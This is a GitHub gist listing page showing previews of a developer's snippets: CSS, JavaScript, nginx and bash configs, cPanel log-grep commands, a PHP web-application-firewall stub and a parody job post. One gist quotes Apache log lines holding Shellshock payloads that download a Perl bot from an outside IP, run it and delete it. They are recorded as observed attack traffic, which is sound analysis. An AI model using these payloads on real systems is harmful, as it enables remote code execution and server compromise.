Skip to content

Instantly share code, notes, and snippets.

@dhaupin
dhaupin / dev_script_ui_breakpoint_listener.css
Last active December 2, 2019 03:16
Function - Listen for changes in CSS media breakpoints - append UI attribs to <html>
/* UI Breakpoint Listener
* Requires underscore/lodash for _debounce
*/
body:after {
content: 'widescreen';
display: none;
}
@media screen and (max-width: 1024px){
body:after {
@dhaupin
dhaupin / DUMP_shell_commands.txt
Last active October 27, 2017 07:58
Rando Shell Commands for cPanel Servers
##################
# Logs #
##################
# Look through syslogs, ignore local, ignore SSL fails, ignore whitelist ip
grep -Ev --color=always '(127.0.0.1|10.30.9.*|209.203.197.*|socket\ failed)' /var/log/messages /var/log/secure | less -R
# Look through IP domlogs, ignore local, ignore whitelist ip, ignore bots, ignore controlscan
grep -sh --color=always "Sep/2016" /usr/local/apache/domlogs/{50.28.34.226,206.196.110.58} | grep -Ev '(LiquidWeb|nagios|209.203.197.*|Google|bing|Baidu|Netcraft|majestic12|207.198.99*)' | less -R
@dhaupin
dhaupin / DUMP_perlbot.txt
Created July 12, 2016 15:52
Rando example of CVE-2016-4971
# http://31.220.3.180/mox
#/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [16/Mar/2016:10:57:33 -0400] "GET /hello HTTP/1.0" 404 1987 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://31.220.3.180/g.pl;curl -O http://31.220.3.180/g.pl;wget http://31.220.3.180/g.pl;perl /tmp/g.pl*;perl g.pl;rm -rf /tmp/g.pl*\""
#/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [27/May/2016:08:09:12 -0400] "GET /bashh HTTP/1.0" 404 1984 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://31.220.3.180/mox;curl -O http://31.220.3.180/mox;wget http://31.220.3.180/mox;perl /tmp/mox*;perl mox;rm -rf /tmp/mox*\""
##############################################################################
#!/usr/bin/perl
# ------------------------------------------------------------- #
@dhaupin
dhaupin / dev_script_simple_web_app_firewall.php
Last active April 21, 2022 18:20
Function - WAF - Look for common injection, traversal, or escalation hits, then init an action
<?php
// @@TODO@@ classify this as a pub pre-controller
// @@TODO@@ semicolin var, might help edge \xYZ style hexors -- might affect speed though
// @@TOTO@@ make vars to turn on blocking of common WP and enterprise requests
// @@TODO@@ make modes to check in user agent, referrer, post, headers
// @@TODO@@ mode for strict validation of IP in addr + forwarder style headers
// @@TODO@@ testing mode (still allows traffic)
// @@TODO@@ log wrapper and modes
@dhaupin
dhaupin / india_derps_like_its_1999.txt
Created August 8, 2016 17:27
Offshore India App Development -> Herds of 13 Year Old Kids Behind Amateur SEO Spam Bots, Calling Themselves "Executives" -> I R Need Webshite
We need a Wordpress plugin that can sync up to a simple O/CON 2 bridge to be the primary sine-sync for all O/XSPRC virt method drivers in the RLPROC schema for the notorious Rn237a-rev45 Kuborn platform. Comms must be authenticated with qAuth and retina scan, and run from our Wordpress API. This plugin should allow full remote driver binary mitigations with FULL templated proxy bytemaps which should allow us to quarantize O/CON nodes on demand. I cant stress FULL templated enough, all of our other bids come back as burst templated which, as you know, causes sine mismatch modulations on that specific Kuborn series. We need clean data. Clean. Clean. Clean.
Your plugin must then use templated half-byte functions to bootstrap + rebuild the loss prevent schema which will bring systems back online after either bus overheat or during routine bench checks. Eventually we will solve the bus overheat, but if you have ideas there, we are all ears. As a note, this system must support full O/XSPRC triplex mode during BIOS
@dhaupin
dhaupin / etc_nginx_sites-available_template.bak
Last active September 7, 2016 20:11
Server - Nginx default configs for NO-SSL and SSL enabled server blocks - Uses LetsEncrypt and FPM Unix sockets
server {
listen 80;
listen [::]:80;
server_name EXAMPLE.com www.EXAMPLE.com;
return 301 https://EXAMPLE.com$request_uri;
}
server {
listen 443 ssl http2;
@dhaupin
dhaupin / dev_script_cm_dialog_wrapper.js
Last active September 7, 2016 19:23
Function - Provides a way to create a dialog/popup/modal for images in CS-Cart
{literal}
<script type="text/javascript">
// @@MODIFICATION@@ Applies cm-dialog wrapper to images that have the class="cm-dialog-img"
$('img.cm-dialog-img').each(function() {
var src = ($(this).attr('data-ca-src')) ? $(this).attr('data-ca-src') : $(this).attr('src'),
title = ($(this).attr('alt') != undefined) ? ' title="' + $(this).attr('alt') + '"' : '',
base = location.protocol + "//" + location.host,
uri = src.replace(base, '').replace('/images/', ''),
uniq = Math.round(new Date().getTime() / 10000 * Math.random());
target_id = uri.replace(/http(s)?(:)?(\/){0,2}/g, '').replace(/\/|_|%20/g, '_').replace(/\./g, '-').split("?")[0].toLowerCase() + '-' + uniq;
@dhaupin
dhaupin / userDefineLang.xml
Created October 26, 2016 15:39
Notepad++ Wombat Theme - Modified Colors, Added TPL, Added Smarty
<NotepadPlus>
<UserLang name="Smarty-DH" ext="tpl" udlVersion="2.1">
<Settings>
<Global caseIgnored="no" allowFoldOfComments="no" foldCompact="no" forcePureLC="0" decimalSeparator="0" />
<Prefix Keywords1="no" Keywords2="no" Keywords3="yes" Keywords4="no" Keywords5="no" Keywords6="no" Keywords7="no" Keywords8="no" />
</Settings>
<KeywordLists>
<Keywords name="Comments">00{* 01 02*} 03 04*</Keywords>
<Keywords name="Numbers, prefix1"></Keywords>
<Keywords name="Numbers, prefix2"></Keywords>
@dhaupin
dhaupin / etc_bash.bashrc.sh-apps
Last active November 20, 2017 15:05
Random Bash Aliases & Functions
backup-oc() {
accnt=account
prefix=prefix
path=subfolder (no pre or trailing slash)
if [ ! -d "/backup/_SYNC/${accnt}" ]; then
mkdir -p /backup/_SYNC/${accnt}
fi
if [ ! -d "/home/${accnt}/_SYNC" ]; then
@dhaupin
dhaupin / dev_script_seo_field_lengths.js
Created December 16, 2016 18:50
Function - SEO - Look at input fields and display their current length as well as current cursor position
// Field needs data attrb like: <input name="title" data-seo-length="70" />
// Underscore library required for _.debounce() function
// https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js
<script type="text/javascript">
var count_name = $('input[name="title"]'),
stg_name = '<br/><div style="font-family:arial;font-style:italic;margin-top:5px;color:#969696;">&nbsp;&nbsp;SEO Chars: <span class="stg_name">' + count_name.val().length + '</span> of ' + count_name.attr('data-seo-length') + '. <span class="stg_name_cur">Cursor: 0</span></div>';
count_name.after(stg_name).on('keyup mouseup mouseleave', _.debounce(function(){
$('.stg_name').html($(this).val().length);